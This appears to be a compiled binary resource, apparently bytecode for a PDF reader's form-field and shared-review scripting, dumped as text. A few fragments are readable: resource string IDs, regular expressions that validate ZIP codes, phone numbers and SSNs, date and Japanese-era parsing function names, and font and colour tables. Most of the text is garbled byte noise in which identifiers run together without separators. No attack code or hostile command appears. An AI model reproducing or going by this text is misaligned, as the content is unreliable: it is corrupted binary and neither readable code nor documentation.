ᘀᘀ�ᘀИ�QИ��И�͕������֐�ᘀH��M����T������ᘀᘀ$��x��%yА��{��������%���%���%���%Ɲ�%˝�%ې��ʐʐʐϐʐҘ�%琔�ʐʐʐϐʐҘ�%󐔕ʐʐϐʐː��ʐʐϐϐʐː��ʐʐϐϐʐː��ʐʐϐϐː��ʐʐϐϐː��ʐʐϐϐː��ʐʐϐϐʐː��ʐʐϐϐʐː��ʐʐʐϐʐː��ʐʐʐϐʐҘ�&C���ʐʐϐϐʐː��ʐʐϐϐʐː��ʐʐϐϐʐː��ʐʐϐϐː��ʐʐϐϐː��ʐʐϐϐː���ʐʐϐϐʐː��ʐʐϐϐʐː��ʐʐϐϐʐː��ʐʐʐϐʐː��ʐʐʐϐʐҘ�&����ʐʐϐϐː��ʐʐϐϐː��ʐʐϐϐː��ʐʐϐϐ�ː��ʐʐʐϐʐҘ�&ǐ��ʐʐϐϐː��ʐʐϐϐː��ʐʐϐϐː��ʐʐϐϐ�Ҙ�&萔�ʐʐϐϐː��ʐʐϐϐː��ʐʐϐϐҘ�'���ʐʐϐϐː��ʐʐϐϐҘ�'��'��ʐϐϐ��ϐԐ��ʐϐϐϐԐ��ʐϐϐϐԐ��ʐϐϐۘ�(��������֐����֘�(�ΐ��͐�͐�͐��͐�͐��͐�͐�͐�͐���( ��(*��(M��(l��(y��(���(���(���(���)���)���)���)�)˝�)Ꝁ*s��*着+m��/��И�0�И�1��И�1��И�2��И�3��И�5A��5�����5���7�����7͐���8�����8�̐���8���8ɝ�9#ᘀ96��9A��<��<)�И�?ވИ�A�И�HN�И�HƈИ�KR�И�L̝�MՐ�А�Ր���M�И�R��И�TS�И�U��И�U߈И�W�И�X3��\퐐�И�]w�И�_�ᘀ`|�И�e�И�ef�И�e�И�f��И�f��И�f��ᘀhr�ᘀio��i��И�j��ᘀk-�ᘀk��ᘀl:�И�m��m;��mh��m��И�m���nA��n���o"��o3��ʘ�o:ʘ�o@��ϐ��ʐʐʐʐ��ʘ�oPʘ�oUʘ�o[���ʘ�ohʘ�om՘�oqѐ�ј�o���ʘ�o�ʘ�o�ʘ�o�ʘ�o�ʘ�o�ʘ�p�ʘ�p���ϐ��ʐʐʐʐ��ʘ�p�ʘ�p�ʘ�pϔ��ʘ�p�ʐϐ���ʘ�qʘ�q՘�q
ѐ��ј�q!��ʘ�q(ʘ�q-ʘ�q2ʘ�q7ʘ�q<ʘ�r[ʘ�rb��ϐ��ʐʐʐʐ��ʘ�rrʘ�rwʘ�r}���ʘ�r�ʐϐ���ʘ�r�ʘ�r�՘�r�ѐ��ј�rǐ�ʘ�r�ʘ�r�ʘ�r�ʘ�r�ʘ�r�ʘ�t"ʘ�t*��ϐ��ʐʐʐʐ��ʘ�t:ʘ�t?ʘ�tH���ʘ�tbʐϐ���ʘ�t}ʘ�t�՘�t�ѐ��ј�t���ʘ�t�ʘ�t�ʘ�t�ʘ�t�ʘ�t�ʘ�wʘ�w��ϐ��ʐʐʐʐ��ʘ�wʘ�w#ʘ�w*���ʘ�w>ʐϐ���ʘ�wTʘ�wY՘�w]ѐ��ʘ�wuј�w��ѐ�Ӑʐ���Ӑʐ�����w��Ӑʐ��ݐ�ѐ����w�ᘀx*ᘀy"ᘀz��z2��{.���И�{�ᘀ|1И�}g��}�ᘀ}�ᘀ~ᘀ~���5��ם��ᘀ�q�x���А��{�����������ʘ���ʘ���ʘ���ʘ���ʘ���ʘ��ј�������+��������Θ������󙀖�И���ᘀ���ʐʐѐ����ʐѐ����ʐѐ����ʐѐ����ʐѐ����������ސ�x���А��{��IDS_GREATER_THAN
EScriptString
IDS_GT_AND_LT
IDS_LESS_THANIDS_INVALID_MONTHIDS_INVALID_DATEIDS_INVALID_DATE2IDS_INVALID_VALUEIDS_AMIDS_PMIDS_MONTH_INFOIDS_STARTUP_CONSOLE_MSGIDS_MEIJI_ABBREVMIDS_TAISHO_ABBREVTIDS_SHOWA_ABBREVSIDS_HEISEI_ABBREVHIDS_REIWA_ABBREVRIDS_MEIJI_ABBREV_LONGIDS_TAISHO_ABBREV_LONGIDS_SHOWA_ABBREV_LONGIDS_HEISEI_ABBREV_LONGIDS_REIWA_ABBREV_LONGRE_NUMBER_ENTRY_DOT_SEPArray[+-]?\d*\.?\d*RE_NUMBER_COMMIT_DOT_SEP[+-]?\d+(\.\d+)?
[+-]?\.\d+
[+-]?\d+\.RE_NUMBER_ENTRY_COMMA_SEP
[+-]?\d*,?\d*RE_NUMBER_COMMIT_COMMA_SEP[+-]?\d+([.,]\d+)?[+-]?[.,]\d+[+-]?\d+[.,]RE_ZIP_ENTRY\d{0,5}
RE_ZIP_COMMIT\d{5}
RE_ZIP4_ENTRY\d{0,5}(\.|[- ])?\d{0,4}RE_ZIP4_COMMIT\d{5}(\.|[- ])?\d{4}RE_PHONE_ENTRY)\d{0,3}(\.|[- ])?\d{0,3}(\.|[- ])?\d{0,4}	\(\d{0,3}-\(\d{0,3}\)(\.|[- ])?\d{0,3}(\.|[- ])?\d{0,4}+\(\d{0,3}(\.|[- ])?\d{0,3}(\.|[- ])?\d{0,4}+\d{0,3}\)(\.|[- ])?\d{0,3}(\.|[- ])?\d{0,4}011(\.|[- \d])*RE_PHONE_COMMIT\d{3}(\.|[- ])?\d{4}#\d{3}(\.|[- ])?\d{3}(\.|[- ])?\d{4}'\(\d{3}\)(\.|[- ])?\d{3}(\.|[- ])?\d{4}RE_SSN_ENTRY)\d{0,3}(\.|[- ])?\d{0,2}(\.|[- ])?\d{0,4}
RE_SSN_COMMIT#\d{3}(\.|[- ])?\d{2}(\.|[- ])?\d{4}colorObjectequal
ColorEqualconvertColorConverttransparentblackGwhitedkGraygrayltGrayredRGBgreenbluecyanCMYKmagentayellowfontTimesTimes-RomanTimesB
Times-BoldTimesITimes-ItalicTimesBITimes-BoldItalicHelv	HelveticaHelvBHelvetica-BoldHelvIHelvetica-ObliqueHelvBIHelvetica-BoldObliqueCourCourierCourBCourier-BoldCourICourier-ObliqueCourBICourier-BoldObliqueSymbolZapfDZapfDingbatsKaGoHeiseiKakuGo-W5-UniJIS-UCS2-HKaMiHeiseiMin-W3-UniJIS-UCS2-Hborderssolidddashedbbevelediinsetu	underlinestylechcheckcrcrossdidiamondcicircleststarsqsquare	highlightnnoneinvertppushooutlinezoomtypeNoVaryfitWFitWidthfitH	FitHeightfitPFitPagefitVFitVisibleWidthpref	PreferredrefWReflowWidthcursorvisiblehiddendelaytransblindsHBlindsHorizontalblindsVBlindsVerticalboxIBoxInboxOBoxOutdissolveDissolveglitterDGlitterDownglitterRGlitterRight	glitterRDGlitterRightDownrandomRandomreplaceReplacesplitHISplitHorizontalInsplitHOSplitHorizontalOutsplitVISplitVerticalInsplitVOSplitVerticalOutwipeDWipeDownwipeLWipeLeftwipeR	WipeRightwipeUWipeUppositiontextOnlyiconOnly	iconTextV	textIconV	iconTextH	textIconHoverlay	scaleWhenalwaysnevertooBigtooSmallscaleHowproportional
anamorphicdisplaynoPrintnoView
permissiondocumentDocumentpagePagelinkLinkbookmarkBookmark	thumbnail	ThumbnailannotAnnotformForm	signature	SignatureefEFobjectallAllcreateCreateremoveDeletemodifyModifycopyCopy
accessible
AccessibleselectSelectopenOpensecureSecureprint	PrintHigh	printHighprintLowQualityPrintLowprintLowfillInFillInrotateRotatecropCrop	summarize	SummarizeinsertInsertreorderReorderfullSaveFullSave	canImportImport	canExportExportanyAny
unknownOpr
UnknownOprsubmitStandaloneSubmitStandalone
spawnTemplate
SpawnTemplateonlineOnlinesummaryViewSummaryViewbarcodePlaintextBarcodePlaintext	operationdeniedgranted
unknownObjectunknownOperationnapendingsubmitFormUsageRightsRMA
fileSystemdefaultCHTTPWebDAVencodingromanUS-ASCIIunicodeUTF8utf-8unicodeUTF16utf-16unicodeUTF16BEutf-16BEunicodeUTF16LEutf-16LEjapanese	Shift-JIStraditionalChineseBig5BigFivesimplifiedChineseGBKkoreanUHCrequirementsEnableJavaScriptsHostContainerDisclosurePolicySameOriginPolicyAFDigitsRegExpRegExpcompile\d+
AFPMRegExp
AFAMRegExpAFTimeLongRegExp\d{1,2}:\d{1,2}:\d{1,2}AFTimeShortRegExp\d{1,2}:\d{1,2}AFTimeGarbageRegExp'\d{1,2}:\d{1,2}(:\d{1,2})?(\s)*(am|pm)?AFNumberDotSepEntryRegExpAFBuildRegExpsAFNumberDotSepCommitRegExpAFNumberCommaSepEntryRegExpAFNumberCommaSepCommitRegExpAFZipEntryRegExpAFZipCommitRegExpAFZip4EntryRegExpAFZip4CommitRegExpAFPhoneEntryRegExpAFPhoneCommitRegExpAFSSNEntryRegExpAFSSNCommitRegExpAFMonthsRegExpsplitconsoleprintln
extMessage	ANSB_None	ANSB_PageANSB_SeqANSB_AuthorANSB_ModDate	ANSB_TypeANSB_SubjectANFB_ShouldPrintANFB_ShouldViewANFB_ShouldEditANFB_ShouldAppearInPanelANFB_ShouldSummarizeANFB_ShouldExportANFB_ShouldCollaborateANFB_ShouldNoneIPV6TypeIPV4TypecTableOddRowColor#FFFFFFcTableEvenRowColor#F8F8F8cTableHeaderColor#E4E4FFmyReviewTrackerDebugAlertgetFormsStringCollab	undefinedANTrustPropagateAllapptrustedFunctionCBCanDoReviewWorkflowCheckExpr(toSource())CBCanDoWorkflowCheckExprAPRANsumsANsumsCL
ANsumorderCBAutoConfigCommentRepositoryCBFNiceTableName
CBFNiceDBNameCBFDBPerDocCBannotdataFileAttachmentSoundStampANVerifyCommentsDoIdentityDialogANStartApprovalANSendForApprovalANSendForBrowserReviewANSendForReviewANSendCommentsToAuthorANProxyAuthenticateResourceANAuthenticateResourceTestHSShareANShareFile2SetHTTPMethods
SetRSSMethods	InitAnnotIWEmailStepsIWEmailStepDescriptionnamecreatorheadingAnnotsString!IDS_SHARED_REVIEW_WIZARD_TITLE_SRtitletextnoStepsIWEmailFormSteps!IDS_SHARED_REVIEW_WIZARD_TITLE_FDIWStepsIWBrowseDocIWDistributionServer,IDS_SHARED_REVIEW_DISTRIBUTE_STEP_HEADING_SRIWIdentityDialogIWSharedReviewDocCenterLogin$IDS_SHARED_REVIEW_DOC_CENTER_HEADINGIWSharedReviewDocCenterCreateID$IWSharedReviewDocCenterCreateConfirmIWNewInternalServer1IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_HEADING_SRIWDistributeStepDescriptionIWSaveProfileStepDescription	IWFDSteps)IDS_SHARED_REVIEW_BROWSE_DOC_STEP_HEADING,IDS_SHARED_REVIEW_DISTRIBUTE_STEP_HEADING_FDIWSubmitButton1IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_HEADING_FDShareFileSteps*IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_SFIWBrowseAnyDoc,IDS_SHARED_REVIEW_BROWSE_DOC_STEP_HEADING_SFUploadFileSteps*IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_UF,IDS_SHARED_REVIEW_BROWSE_DOC_STEP_HEADING_UFDocCenterLoginSteps"IDS_SHARED_REVIEW_DOC_CENTER_LOGIN+IDS_SHARED_REVIEW_DOC_CENTER_CREATEID_TITLE3IDS_SHARED_REVIEW_DOC_CENTER_CREATEID_CONFIRM_TITLEDocCenterSignupStepsOldSRIWsteps.IDS_SHARED_REVIEW_GETTING_STARTED_STEP_HEADING,IDS_SHARED_REVIEW_GETTING_STARTED_STEP_TITLE
viewerTypematchExchange-Pro/IDS_SHARED_REVIEW_GETTING_STARTED_STEP_TEXT_PRO/IDS_SHARED_REVIEW_GETTING_STARTED_STEP_TEXT_STD+IDS_SHARED_REVIEW_DISTRIBUTION_STEP_HEADING)IDS_SHARED_REVIEW_DISTRIBUTION_STEP_TITLE(IDS_SHARED_REVIEW_DISTRIBUTION_STEP_TEXT"IDS_SHARED_REVIEW_DISTRIBUTION_TIPtip*IDS_SHARED_REVIEW_SEND_INVITE_STEP_HEADING(IDS_SHARED_REVIEW_SEND_INVITE_STEP_TITLE'IDS_SHARED_REVIEW_SEND_INVITE_STEP_TEXT&IDS_SHARED_REVIEW_SEND_INVITE_STEP_TIP+IDS_SHARED_REVIEW_PREVIEW_INVITE_STEP_TITLE-IDS_SHARED_REVIEW_PREVIEW_INVITE_STEP_HEADING*IDS_SHARED_REVIEW_PREVIEW_INVITE_STEP_TEXTAlertWithHelpWidthplatformWINwizardWidthwizardHeightbuttonRowMarginHeightbuttonRowMarginWidthwizardMarginWidthmarginWidthmarginHeighttipIconWidth
tipIconHeightnavIconWidth
navIconHeightCBCreateInviteStepDescription%CBCreateInviteStepDescriptionApproval%CBCreateSendInvitationStepDescriptionIWBrowseDocStepCommitWorkfilesAtDocCenterlongFileNametrustPropagatorFunctionIWShowSharepointWorkspacedeadlineDate'IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINEinternalDeadlineDateobjectDeadlineDateDate%CBCreateGettingStartedStepDescriptionCBSharedReviewInviteReviewers%IWSharedReviewDocCenterServicesDialog-IWSharedReviewDocCenterEligibilityErrorDialog'CBSharedReviewDistributeStepDescription CBSharedReviewCompleteAutomationCBSharedReviewCompleteCBFormDistributionEmailCompleteCBFormDistributionComplete)CBSharedReviewSelectServerTypeDescription,CBSharedReviewConfigureServerStepDescriptiongetFolderNameRemovedPathCBSharedReviewStatusDialogANIdentityDialogCBSharedReviewSecurityDialogCBSharedReviewIfOfflineDialogCBSharedReviewCloseDialogCBCreateUploadStepDescriptiongetAlwaysUseServerValueSharedReviewDocCenterInitiatorcanInitiateWorkflowisDocCenterWorkflow"IDS_SHARED_REVIEW_CREATE_WORKSPACEcTitleonBeginEnumerationonEndEnumerationonEnumerateFileonEnumerateCollectiononCreateCollection	onPutFileonErrorrunTask	onSuccess	onFailureaTasksdataoTaskSetgetWorkspaceCreatorSharedReviewWebDAVInitiatorgetInitiateNamegetInitiateDefaultNamegetInitiateAddServergetInitiateDescriptiongetWorkflowInitiatorConfiggetWorkflowInitiatorSourceSharedReviewAppleiDiskInitiatorSharedReviewSMBInitiatorSharedReviewSharepointInitiatorrunWorkflowInitiator	beginPrivRSSaddUI4urn://ns.adobe.com/Collaboration/SharedReview/WebDAV8urn://ns.adobe.com/Collaboration/SharedReview/SharepointMAC1urn://ns.adobe.com/Collaboration/SharedReview/SMB9urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.comendPrivANSendForSharedReviewANRunSharedReviewEmailStepANSendForFormDistributionIWShareFileConfirmDialogANShareFileCBShareFileCompleteANDocCenterSignup	CBBBRInitCBBBRInviteInitAnWizardScriptBridgeUtilsxmlString2jsCalljsResult2xmlStringjsCall2xmlStringxml2jsArrayxml2jsjs2xmltoXMLStringSOAPstripNSDynamicAnnotStoreSOAPMessageStyleJSXMLMessageSOAPVersion1.1version_1_11.2version_1_2StreamDigestMD5SHA1ServiceDiscoverylocalDNSSOAPRequestStyleRawPost
addAnnotStoreCONFIG
SOAPStringIDS_COLLABSTORE_DYNAMIC����ColorConvert5�Z2oColorcColorspaceoOut�-[
TWQTx=y=y�=y�zT>7=D;�=�<T?7<T�7<T�7�RWQkT>7=[;�=�?;�
�?�<T?7<T�7<T�7T�7�:�RWQMT>7=0;�=�T?7�T?7�T?7�RWQ�T>7=�;�=�?;�
�?�T?7T�7�:�?;�
�?�T�7T�7�:�?;�
�?�T�7T�7�:�RWQ�T>7=,;�=�>�>�>�?T?7�RWQET>7=5;�=�?T?7�?T�7�?T�7�>�RWQV��_c�&�m
�im
�qmʘ`�c�?�������ݐ��P���+���������P���'�������P�y��GRGBCMYKArrayMathmin333333�?�z�G��?)\��(�?333333�?�z�G��?)\��(�?����
ColorEqual��tc1c2nComponentsiD�|T>7=(;�
�T�T>7�:UQ#;�
�T�T>7�:UQT>7T>7B>WQT>7x=y=y=yz%?WQ�WQ�WQ?WQ(mTV7TV7BV#?WQQ�VV����C��#��㐐�ސ����������eD�m
���m
���mʘ�����P����P����P����$(1�������������#̘������Θ����GcolorconvertRGBCMYK�1�������<(
cContainerURLcDocURLisSameOrigin	URL1Parts	URL2PartslcaseScheme1]/�5
BWQ�;�
�T�:WQ;�
�T�:WQV5;E>QV5�>E)QV5;EQV5�>%V5;E>QV5�>E)QV5;EQV5�>�V5�
�:WQVV5�
�:HE-QV5�
�:V5�
�:HtV=DQV=DQV=	HV5
;HEQV5
;HDQV5
V5

CWQ�vWQ�V������ؐؐ������������א�
����������}���ʀ{�����utilcrackURLcScheme	undefinedlengthcHosttoLowerCasehttphttpsftpnPort����e�����AFBuildRegExps��<
arrayretValit�8�9�;�RWQVT�6Q>WQEmVV;�R8QVV7�
�TV7�=�:QV#?WQQ�VT�����V���ΐ��ѐ�$E9S������Ґ�ᘀ��$̘�Ę���Ә�ƈ�ArraylengthRegExpcompilei)S����AFExactMatch��4
rePatternssStringit�==?�VQT� E,QT�
�T�:EQ;5TC>WQGmTV7�
�T�:EQ;5TV?V#?WQQ�VT�����>���������$G;U��������%̘�☀�
Ӑ����	lengthtestRegExp	lastMatchJU����
AFExtractNums��8stringnumsW?A�;�RWQT�
�>�:=DQT�
�>�:==TUQDmV�#?�
6QQVV�?;58Q;5UQ�;	�

�T�:����V�?	V@��ΐ����͐�(Z����א�ِ�Θ��ۘ�������ArraycharAt.,0lengthRegExp	lastMatchrightContextAFDigitsRegExptestWZ����AFMakeNumber��	5stringtypearrayjoinedA^C�	T'WQV=	TV=@9��T�:WQVrV�
�=�:WQT�
�=�:>=VWQVT�
�=�:>�?@����Ȑ����������֐�m��ؐ����͐��Ԑ����numberstring
AFExtractNumsjoin.indexOf-.0.-����AFExtractRegExpb�!
	rePatternstringretValzC]E;�RWQT�
�T�:?V�6QV>;5;58QV?;58QV@��ΐ�����ː�ې�А�����ArraytestlengthRegExpleftContextrightContext	lastMatch����AFMakeArrayFromListQ�stringtypereSep}E3F!T'WQV=;;�RWQV�
�=�:QT�
�V�:T��
Ȑ����ΐ�Ր�Ӑ���stringRegExpcompile,[ ]?split����
AFExtractTime��KstringpminfoMF�H.=WQVQ9��;�T�:WQVV?7WQV>7UQ9��;�T�:WQVV>7UQ9��;�T�:WQVV?
7V8QV9��;�T�:WQVV?
7V8QV@��3ɐ���ܐ���ɐ�ɐ��ܐ���ɐ��ܐ����p�����ܐ����p�������AFExtractRegExp
AFPMRegExp
AFAMRegExpAFTimeLongRegExpAFTimeShortRegExp����AFGetMonthIndexW�stringmonthreresult�H�JQ;�T=�=�RWQV�
�;5�:WQTE	QV
?V?7>���ސݐ���Ȑ��	RegExp	\[(\d+)\]iexec
EScriptStringIDS_MONTH_INFO����AFMatchMonthf�-
stringit�J�K\>WQIm;V7�
�T�:9��;5�:V#?WQQ�V;�����>����$I=Y�����ژ�`�-̘�b��`�Ր����	AFMonthsRegExptestAFGetMonthIndexRegExp	lastMatchlength
Y����AFGetMonthStringU�	indexmonthreresult�K8Mf;�=T=�RWQV�
�;5�:WQVV?7;5��ސݐ����ˈ'RegExp(\w+)\[\]exec
EScriptStringIDS_MONTH_INFOIDS_INVALID_MONTH����AFParseTime��#stringdatepmamnumshourminutessecondsPM�QpVQVQ9��T�:WQT ;�RUQVQVQVQT 	T;�
�T�:EQT;5 @V @V��DQV��@;�
�T�:CWQ
BWQ;�
�T�:CWQ
BWQ;	�V>7�RWQVV�V�WQ"VV�V�WQV?7WQV��V�7WQ
>WQT�

�V�:QT�
�V�:QT�
�V�:QT�
�:V@T�
�:V@T�
�:V@T��Ȑ֐���ΐ̐���	�������������(��
�ʐ���
�ʐ���Ԑ���uʐ����u���ɐ��ϐ���Ӑ�Ӑ�Ӑ��������������
AFExtractNumsDateAFTimeGarbageRegExptestRegExp	lastMatchlength
AFPMRegExp
AFAMRegExpNumbersetHours
setMinutes
setSecondsgetHours
getMinutes
getSeconds����
AFDateFromYMDy� 
nYearnMonthnDatedDate�Q�R�;�RWQV�
�T�T�T�:QV�
�:T@V�
�:T@V�
�:T@V�ΐ��ې��������������
DatesetFullYeargetFullYeargetMonthgetDate����AFGetJapaneseYear��T
JYearnYearS�T�9��T�:?WQT>7x;y2;y<;yF;yP;yZziV;?WQUV;?WQAV;?WQ-V;	?WQV;
?WQV�ؐe����m
���m
���m
���m
���mʘ�����p�P����p�P����p�P����p�P����p�P����

AFExtractNumsIDS_MEIJI_ABBREVIDS_TAISHO_ABBREVIDS_SHOWA_ABBREVIDS_HEISEI_ABBREVIDS_REIWA_ABBREVIDS_MEIJI_ABBREV_LONGIDS_TAISHO_ABBREV_LONGIDS_SHOWA_ABBREV_LONGIDS_HEISEI_ABBREV_LONGIDS_REIWA_ABBREV_LONG����AFParseJapaneseEraDateEx	��	�~cStringcFormatcOrderdDatenYearnMonthnDatenYCountJYearinfoaNums
aJapaneseNumsi�U�f�VQVQVQVQTQVQ9��T�:WQ9��T�:WQVV>7UQ9��T�:WQV @T�
�T�7�:WQV���VT�
�=�:7WQ9��V�:WQ9��V�VT�
�=	�:7?�VT�
�=
�:7�:UQV&9��V?7�T�:UQ"TT�
�>�>�>�:QT9
�
�T�:WQV��yV�T�
�=�:T�
�=
�:V>7WQV?7WQV?7WQV>7WQ9��V�:WQ9��V�V?�V�:UQV&9��V?7�T�:UQ"TT�
�>�>�>�:QTT�
�=�:T�
�=
�:�T�
�=�:T�
�=	�:V>7WQV?7WQV?7WQV>7WQ9��V�:WQ9��V�V?�?�:UQ�T�
�:WQT�
�=
�:T�
�=	�:.9��V�V?7?�V>7�:UQ)9��V�V>7?�V?7�:UQV&9��V?7�T�:UQ"TT�
�>�>�>�:QTV�?�V�T�
�=�:T�
�=
�:GV>7WQ9��V�:WQ9��V�V?�?�:UQ9T�
�:WQ9��V�V?�V>7�:UQV(9��V?7�;�:UQ"TT�
�>�>�>�:QTT�T�@=WQ=WQ=WQ>WQ�mT�
�V�:x=y(=y/=	yD=
yYzsV#?WQQbVT�
�V�:WQCVT�
�V�:WQ$VT�
�V�:WQV#?WQQ�VT����7V?WQV?WQV?WQVV?WQV V?WQV�EQV�dD
QVX'@9��V�:WQ9��V�V�V�:UQV(9��V?7�;�:UQ"TT�
�>�>�>�:QT@��������֐��֐��ɐ��֐�����ِ�����ܐ�֐���ː!�����Ր����֐���������ɐ�ΐ��ɐ�ɐ���֐���!�����Ր������������ɐ�ΐ��ɐ�ɐ���֐�㐐���Ґ�)��鐐�䘀!�����Ր���#������B��ɐ�֐��㐐�Ґ�␐#�����Ր���:������ɐ�ɐ�ɐ��$�����Ζ���A��`���m
���m
���m
���mʘ�C��̐P����p�P����p�P����p�P��A�&̘�O��A�Ә�R�t��t��t����t�����t��ؐ�����֐��ސ�#�����Ր���l��AFParseDateYCount
AFExtractTime
AFExtractNumssplitlengthindexOfyAFGetJapaneseYear
AFDateFromYMDmdAFParseTimesetHoursAFMatchMonthgetFullYeardatecharAt\
AFDateHorizonC�����
AFParseDateExY� �cStringcFormatnYearnMonthnDatenYCountcOrderdDateNumsJYearinfoaNumsi�g��rVQVQVQVQVQ;�RWQV�
���>�>�:QT 	V9��T�:WQT�
�=�:�|T�
�V�7�:WQVV�
�=�:7WQ;�
�V>7�: +9	�	�T�T�V�V�:WQV9
�
�T�:WQ9��T�:WQVV>7UQ9��T�:W	QV	 @V	�
��?V	V�
�=�:7WQV�EQV�dD
QVX'@9��V�:WQ9��V�V	V�
�=�:7?�V	V�
�=�:7�:WQV&9��V?7�V�:WQ"VV�
�>�>�>�:QV9��T�:WQV	�
��VV�
�=�:V�
�=�:?V	>7WQV	?7WQ?V	?7WQV	>7WQV�EQV�dD
QVX'@9��V�:WQ9��V�V?�V�:WQV&9��V?7�V�:WQ"VV�
�>�>�>�:QVV�
�=�:V�
�=�:�V�
�=�:V�
�=�:?V	>7WQV	?7WQ?V	?7WQV	>7WQV�EQV�dD
QVX'@9��V�:WQ9��V�V?�?�:WQ�V�
�:WQV�
�=�:V�
�=�:.9��V�V	?7?�V	>7�:WQ)9��V�V	>7?�V	?7�:WQV&9��V?7�V�:WQ"VV�
�>�>�>�:QVV	�
?VV�
�=�:V�
�=�:o?V	>7WQV�EQV�dD
QVX'@9��V�:WQ9��V�V?�?�:WQ9V�
�:WQ9��V�V?�V	>7�:WQV(9��V?7�;�:WQ"VV�
�>�>�>�:QVT�
T�
@=WQ=WQ=WQ>W
Q�mT�
�V
�:x=y(=y/=yD=yYzsV
#?W
QQbVT�
�V
�:WQCVT�
�V
�:WQ$VT�
�V
�:WQV
#?W
QQ�V
T�
���7V?WQV?WQV?WQVV?WQV V?WQV�EQV�dD
QVX'@9��V�:WQ9��V�V�V�:WQV(9��V?7�;�:WQ"VV�
�>�>�>�:QV@��{�������ΐ�֐���������֘������ِܐ�������␈����֐��֐��ɐ��֐���������ސؐ�����֐���ː!�����Ր�����֐���������ː�ΐ��ː�ɐ�ؐ�����֐��!�����Ր�������������ː�ΐ��ː�ɐ�ؐ�����֐�㐐���Ґ�)��鐐�䘀�!�����Ր����������j��ːؐ�����֐�㐐�Ґ�␐#�����Ր���������ɐ�ɐ�ɐ��$�����Ζ�����`���m
���m
���m
���mʘ���̐P����p�P����p�P����p�P���&̘�*���Ә�-�t��t��t����t�����t��ؐ�����֐��ސ�#�����Ր���G��DatesetHoursAFParseDateOrderindexOfjsplityAFDigitsRegExptestAFParseJapaneseEraDateExAFParseDateYCount
AFExtractTime
AFExtractNumslength
AFDateHorizon
AFDateFromYMDmdAFParseTimeAFMatchMonthgetFullYeardatecharAt\������
AFDateHorizonM�nYear���JT�dEQT�2TXlUQ&T>EQT�2TX�UQT�����vʐ���v�����
����AFParseDateB����string	longEntry
shortEntrywordMonthEntrymonthYearEntrynumsyearmonthdateinfo	arguments���V	�����Q�����Q�����Q�	����Q�
����Q9�������:�����Q����� ;�R����������>7�����Q;�R�
����Q9�������:�����Q����� @�������6?�����9�������
�>�:�{wg7�����Q9�������:�����Q9�����������9�������
�?�:�{wi7?�����9�������
���:�{wi7�:�
����Q�����39������?7�
�����:�
����Q�
����9	�	������:�	����Q���������	����?�����9�������
�>�:�{ws7�����Q9�������:�����Q9�������	����?�����9�������
�?�:�{wu7�:�
����Q�����39������?7�
�����:�
����Q�
����������?�����9�������
�>�:�{w|7�����Q9�������:�����Q9�����������9�������
�?�:�{w~7?�?�:�
����Q�9��
�����

�:�����9�������
�>�:�{w�7?�����9�������
�?�:�{w�7�:�
����Q�����39������?7�
�����:�
����Q�
�����	����EQ������?�����s?�����>7�����Q9�������:�����Q9�������	����?�?�:�
����QJ9��
�����

�:�	����?�����>7�:�
����Q�����39������?7�
�����:�
����Q�
����@�ė�ʐԐʐ␐���	ː����Ր��Ԑ�␈����������␈��͐���ʐ�������������␈�����ʐ����������␈�ߐ����������ʐ�����n���א�␈����������ʐ����
AFExtractTimeDate
AFExtractNumslengthevalcharAt
AFDateHorizon
AFDateFromYMDAFParseTimeAFMatchMonthgetFullYear����AFParseDateWithPDF~�valuepdfcOldFormats�����;�=�=�=�=�=�=�=�=�=	�=
�=�=�=
�=�RWQ9��T�VT7�:���ސӐ��ۈ.Arraym/dm/d/yymm/dd/yymm/yyd-mmmd-mmm-yy	dd-mmm-yyyy-mm-ddmmm-yymmmm-yymmm d, yyyymmmm d, yyyym/d/yy h:MM ttm/d/yy HH:MM
AFParseDateEx����
AFMergeChange��+eventprefixpostfixvalue�ŋ�
VQVQT5WQT5T5T5>'V�
�>�T5�:WQ=WQT5>EQT5V�.V�
�T5�V��:WQ=WQVT5V�Ȑ̐���ɐ�"��␈ɐ�)��鐈ɐ�ш'value
willCommitselStart	substringselEndlengthchange����AFRange_ValidateG�
?bGreaterThannGreaterThan	bLessThan	nLessThancError���=WQ;5=TE	QTX;5TDQ;5T,;�
�;5�T�T�:WQ�T@;5T(;�
�;5�T�:WQCT;;5T(;�
�;5�T�:WQV=8;5	 ;
�
�V�>�:Q;B6Q��ɐ�������S�����;���������㐐�������א�̈eventvalueutilprintf
EScriptString
IDS_GT_AND_LTIDS_GREATER_THAN
IDS_LESS_THAN
silenceErrorsappalertrc����AFSimpleInit�	cFunction����Tx=y
z?>�c��mʐ��P�����PRD����AFSimple��S	cFunctionnValue1nValue2nValue����?TWQ?TUQ?TUQTx=y2=y(=y.=y4=yKzgTTWQWTTWQG;�
�T�T�:WQ&;�
�T�T�:WQV�ɐ���ɐ�ɐ�c����m
�m
���m
���m
���mʘ�㐐�ːP���ːP���ܐP���ܐP�����AVGSUMPRDMINMAXMathminmax����AFSimple_Calculate���	cFunctioncFieldsnFieldsnValueaFieldsifajnTemp���>WQ9��T�:WQ9��T�:WQ>WQ�mA�
�VV7�:WQV�
�:WQ>WQ�m9��VV75�:WQV>E)QV>EQT=DQT=VWQ9��T�V�V�:WQV#?WQQV#?WQQ�VV�	���bV#?WQQ�VV�	���T=
EQV>VVWQT=
DQT=DQT=V�
���:?WQ;V6Q��֘��֐��$��݀���������ؐҐ��$�����������ߐ�����ސ�̘�� ̘�	���Ә���%̘�	����Ә�
���v�����א��ΈAFSimpleInitAFMakeArrayFromListgetFieldgetArrayAFMakeNumbervalueMINMAXAFSimplelengthAVGSUMPRDtoFixedevent;�p�����AFNumber_Keystroke��m,nDecsepStylenegStyle	currStylestrCurrencybCurrencyPrependvaluecommitnoCommitcAlert �I�
9��;�:WQVQVQV T?;WQ;WQ;WQ;WQ9��;5
VV�V�: �;5EQ;5 a;	5
WQ;5@(V=;55
=WQ;�
�V�:Q;�
�>�:Q;B6Q;5EQT?n;5oQn;�RoQ;�
�=�:Qn;�
�;�=�:oQ;;?6Q���ؐȐ�������ɐ�ΐ����ɐ�ɐ������Ј�\�ΐ����p��ڐ���Ӑ�̐�������Ր�Ր�א��琈҈
AFMergeChangeeventAFNumberCommaSepCommitRegExpAFNumberCommaSepEntryRegExpAFNumberDotSepCommitRegExpAFNumberDotSepEntryRegExpAFExactMatch
willCommit
silenceErrors
